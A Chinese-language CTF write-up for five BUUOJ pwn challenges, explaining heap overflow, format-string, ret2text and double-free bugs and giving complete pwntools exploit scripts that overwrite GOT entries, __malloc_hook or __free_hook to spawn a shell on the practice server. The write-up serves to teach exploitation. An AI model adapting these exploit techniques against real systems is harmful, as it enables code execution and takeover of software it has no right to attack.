buuoj Pwn writeup 106-110

106 zctf2016_note2

保护
菜单堆。

new
最多申请4个。

然后里面有个神奇的函数
会把里面的%剔除掉。

申请的chunk最大也只能是fastbin范围的chunk。
ptr地方是指针的数组
0x602140是size的数组
0x602160是大小

show
平平无奇输出函数。

edit
edit推陈出新，有了两种模式，overwrite跟append。

free
free清理的很干净。

我们最后发现这个漏洞是在edit函数里。我们只需要让v6-strlen(&dest) == 0，即可绕过’\0’的截断，实现溢出。因此我们只需add(0,’’)，即可利用这个chunk来溢出，由于PIE也没开启并且堆指针保存在bss段，因此做unsorted bin unlink比较简单
需要注意的是由于使用了strcpy函数，因此，我们布置64位数据时，必须从最后一个开始，前面用正常不截断的字符填充，逐步向前来布置多个64位数据。

exp

#coding:utf8
from pwn import *

context.log_level = "debug"

r = remote('node3.buuoj.cn',27408)
libc = ELF('./64/libc-2.23.so')
elf = ELF('./106')
atoi_got = elf.got['atoi']
free_got = elf.got['free']
puts_plt = elf.plt['puts']
r.sendlineafter('Input your name:','haivk')
r.sendlineafter('Input your address:','huse')
 
def add(size,content):
   r.sendlineafter('option--->>','1')
   r.sendlineafter('(less than 128)',str(size))
   r.sendlineafter('Input the note content:',content)
 
def show(index):
   r.sendlineafter('option--->>','2')
   r.sendlineafter('Input the id of the note:',str(index))
 
def edit(index,content,mode=1):
   r.sendlineafter('option--->>','3')
   r.sendlineafter('Input the id of the note:',str(index))
   r.sendlineafter('[1.overwrite/2.append]',str(mode))
   r.sendlineafter('TheNewContents:',content)
 
 
def delete(index):
   r.sendlineafter('option--->>','4')
   r.sendlineafter('Input the id of the note:',str(index))
 
 
heap_ptr_1 = 0x0000000000602120
#prev_size size
fake_chunk = p64(0) + p64(0x81 + 0x20)
#fd、bk
fake_chunk += p64(heap_ptr_1 - 0x18) + p64(heap_ptr_1 - 0x10)
fake_chunk += 'a'*0x10
 
add(0x80,fake_chunk) #0
add(0,'') #1
add(0x80,'b'*0x20) #2
add(0x10,'c'*0x8) #3
 
#通过1溢出，修改chunk2的头数据
#修改chunk1的prev_size
#由于strncat遇0截断，因此，写prev_size和size的时候，我们分两步，从后往前写
#第一次写size为0x90，即设置prev_inuse为0标记前面的chunk为空闲状态
payload = 'd'*0x10 + 'd'*0x8 + p8(0x90)
edit(1,payload)
#第二次写prev_size，需要先清零prev_size处其他的d数据
for i in range(7,-1,-1):
   payload = 'd'*0x10 + 'd'*i
   edit(1,payload)
#现在写prev_size，写为0x20 + 0x80
payload = 'd'*0x10 + p64(0x20 + 0x80)
edit(1,payload)
#unsorted bin unlink
delete(2)
#现在可以控制堆指针数组了
#第一次，我们先将heap[0]改成heap数组本身的地址+8，进而下一次利用
edit(0,'a'*0x18 + p64(heap_ptr_1 + 8))
#修改heap[1]为atoi_got
payload = p64(atoi_got)
edit(0,payload)
#泄露atoi地址
show(1)
r.recvuntil('Content is ')
atoi_addr = u64(r.recv(6).ljust(8,'\x00'))
libc_base = atoi_addr - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#修改atoi的got表为system地址
edit(1,p64(system_addr))
#getshell
r.sendlineafter('option--->>','/bin/sh')
 
r.interactive()

107 suctf_2018_basic pwn

保护

ret2text？

exp

from pwn import *
context.log_level='debug'

r = remote('node3.buuoj.cn',29514)

flag_addr = 0x401157
payload = 'a' * 0x118 + p64(flag_addr)
r.sendline(payload)

r.interactive()

108 wdb_2018_2nd_easyfmt

保护

简简单单格式化字符串漏洞。
通过这个格式化字符串，泄露libc地址，然后劫持got表，把printf函数的got表可以改成one_gadget，或者system都行。

偏移测一手。是6.

exp

from pwn import *
context.log_level='debug'

r = remote('node3.buuoj.cn',26269)
#r = process("./108")
elf = ELF("./108")
libc = ELF("./32/libc-2.23.so")

puts_got = elf.got['puts']
printf_got = elf.got['printf']

payload = '%7$s' + p32(puts_got)
r.recvuntil("Do you know repeater?\n")
r.sendline(payload)
puts_addr = u32(r.recv(4))

libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
print hex(libc_base)

payload = fmtstr_payload(6, {printf_got:system_addr})
r.sendline(payload)

#gdb.attach(r)

payload = "/bin/sh\x00"
r.sendline(payload)

r.interactive()

109 ciscn_2019_en_3

保护
保护是绿油油。
菜单堆，一上来先给了我个格式化字符串漏洞的下马威。

add
这结构稍微饶了一点。
就是从202060开始，八个字节大小，八个字节地址。

没有edit跟show。

free不能说没有清理干净吧，只能说没有清理。

环境是ubuntu18，有个uaf，我们可以直接考虑double free，也不用绕过啥保护，直接攻击malloc_hook，然后getshell。

那么我们首先从泄露地址开始，我们直接用那个开头的格式化字符串来泄露。
泄露函数的时候要注意这个printf_chk函数跟我们平常见到的printf函数还不大一样，泄露地址的时候还是要结合gdb

上面都是一些初始化的过程，跑到这里才进入正题。

结合输出，结合栈，看偏移

偏移为1的在这里，也看得出来这个函数实际上是通过_I_O_FILE来进行的一个输出。

偏移为2的时候就找到一个可以用的，那我们就输出这个地址来拿到libc的基地址。

from pwn import*

r = remote("node3.buuoj.cn", 28362)
#r = process("./109")

elf = ELF("./109")
libc = ELF("./64/libc-2.27.so")

context.log_level = "debug"

def add(size, content):
    r.sendlineafter("Input your choice:", "1")
    r.sendlineafter("Please input the size of story: \n", str(size))
    r.sendlineafter("please inpute the story: \n", content)
    
def delete(index):
    r.sendlineafter("Input your choice:", "4")
    r.sendlineafter("Please input the index:\n", str(index))

payload = "%p-%p"
r.sendlineafter("What's your name?\n", payload)
r.recvuntil("-0x")
libc_base = int(r.recv(12), 16) - 0x110081
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

r.sendlineafter("Please input your ID.\n", "123456")

add(0x70, 'aaaa') #0
add(0x60, "/bin/sh\x00") #1
delete(0)
delete(0)

payload = p64(free_hook)
add(0x70, payload)

add(0x70, 'aaaa')
add(0x70, p64(system_addr))

#gdb.attach(r)

delete(1)

r.interactive()

要注意的是printf_chk函数不能任意泄露地址，只能泄露栈里面的地址，任意泄露的话会报这样的错。

还要注意的是这道题我们攻击的是free hook，为什么？因为我们在攻击malloc hook的时候需要用one_gadget，但是我们需要realloc抬栈，但是很多时候抬不对，如果我们用free的话，直接俄system就可以，因为可以传参。

110 gyctf_2020_some_thing_interesting

保护

进入程序首先映入眼帘的是

然后就是我们熟悉的菜单堆。

check

这里面我们可以看得出来，可能会有一个格式化字符串漏洞。为什么说可能呢……因为那个s就是前面下马威的那个字符串，现在还不知道能不能利用。

create
平平无奇，结构的话花里胡哨了一点，两个地址数组，两个大小数组。

申请的大小不能超过0x70，所以申请不到大小为unsorted bin的chunk，所以我们后续泄露地址的时候就要注意了。

modify
平平无奇的输入函数。

view

平平无奇的输出函数。

delete
平平无奇的uaf。

所以这道题看着花里胡哨，其实平平无奇uaf。
至于上面的那个格式化字符串漏洞，其实不用也行嘛。
所以还是我们经典利用方式。制造double free。

首先通过我们上面发现的printf来泄露地址。
制造double free，进行fastibin attack，攻击malloc_hook，然后getshell。

exp

from pwn import *

r = remote("node3.buuoj.cn", 29962)
#r = process("./110")

context.log_level = 'debug'

elf = ELF("./110")
libc = ELF('./64/libc-2.23.so')


one_gadget = 0xf1147
def add(size1, content1, size2, content2):
	r.recvuntil("#######################\n")
	r.sendline('1')
	r.recvuntil("> O's length : ")
	r.sendline(str(size1))
	r.recvuntil("> O : ")
	r.send(content1)
	r.recvuntil("> RE's length : ")
	r.sendline(str(size2))
	r.recvuntil("> RE : ")
	r.send(content2)

def delete(index):
	r.recvuntil("#######################\n")
	r.sendline('3')
	r.recvuntil("> Oreo ID : ")
	r.sendline(str(index))

def show(index):
	r.recvuntil("#######################\n")
	r.sendline('4')
	r.recvuntil("> Oreo ID : ")
	r.sendline(str(index))

def edit(index, content1, content2):
	r.recvuntil("#######################\n")
	r.sendline('2')
	r.recvuntil("> Oreo ID : ")
	r.sendline(str(index))
	r.recvuntil("> O : ")
	r.sendline(content1)
	r.recvuntil("> RE : ")
	r.sendline(content2)

r.recvuntil("> Input your code please:")
r.sendline("OreOOrereOOreO"+'%17$p')	#elf 11 libc 17

r.recvuntil("#######################\n")
r.sendline('0')
r.recvuntil("# Your Code is ")

r.recvuntil('0x')
start_main = int(r.recv(12), 16) - 0xf0
libc_base = start_main - libc.sym['__libc_start_main']
malloc_hook = libc.sym['__malloc_hook'] + libc_base
one_gadget = one_gadget + libc_base

add(0x68, 'chunk0\n', 0x20, 'chunk1\n')
add(0x68, 'chunk2\n', 0x20, 'chunk3\n')
delete(1)
delete(2)
delete(1)
add(0x68, p64(malloc_hook-0x23)+'\n', 0x68,p64(malloc_hook-0x23)+'\n')
add(0x68, p64(malloc_hook-0x23)+'\n', 0x68,'a'*0x13+p64(one_gadget)+'\n')
r.recvuntil("#######################\n")
r.sendline('1')
r.recvuntil("> O's length : ")
r.sendline(str(0x68))

r.interactive()

我们说攻击freehook的话可以不用抬栈啥的，那我们为啥不去用它呢
因为fake chunk伪造不了，啥也没有。